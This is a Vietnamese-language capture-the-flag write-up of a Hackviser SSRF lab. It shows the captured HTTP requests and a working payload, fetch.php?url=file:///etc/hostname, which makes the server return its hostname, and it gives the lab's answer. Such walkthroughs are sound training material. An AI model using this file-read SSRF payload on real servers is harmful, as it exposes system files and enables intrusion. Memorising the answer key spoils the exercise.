Basic SSRF Lab

• Kiến thức để giải bài này tôi đã nói ở bài writeup trước (Exam Server-Side Request Forgery (SSRF)) .

This lab contains a Server-Side Request Forgery (SSRF) vulnerability in a PHP-based web application. To complete the lab, exploit the SSRF vulnerability in the URL parameter to obtain the server’s hostname information. What is the server’s hostname?

• Ban đầu tôi mở Burp Suite lên và truy cập vào trang web , cũng như ở bài trước thì nó 1 request đầu , và sau đốn có thêm request đến server yêu server lấy ảnh cho nó :

GET / HTTP/1.1
Host: picked-captain.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

• Request lấy ảnh

GET /fetch.php?url=http://localhost/images/01.jpg HTTP/1.1
Host: picked-captain.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://picked-captain.europe1.hackviser.space/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5
Te: trailers
Connection: keep-alive

• Tôi đã dùng ppayload /fetch.php?url=file:///etc/hostname để yêu cầu server lấy nội dùng file /etc/passwd và gửi về cho tôi .

POST /fetch.php?url=file:///etc/hostname HTTP/1.1
Host: picked-captain.europe1.hackviser.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/plain,image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://picked-captain.europe1.hackviser.space/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Priority: u=5
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

• Vì bài này cơ bản nên sẽ không có Blacklist hay ngăn chặn gì từ phía server . Reponse trả về như sau :

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 01 Oct 2025 19:16:28 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 8
Connection: keep-alive
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff

reducto

==> The Answer is : reducto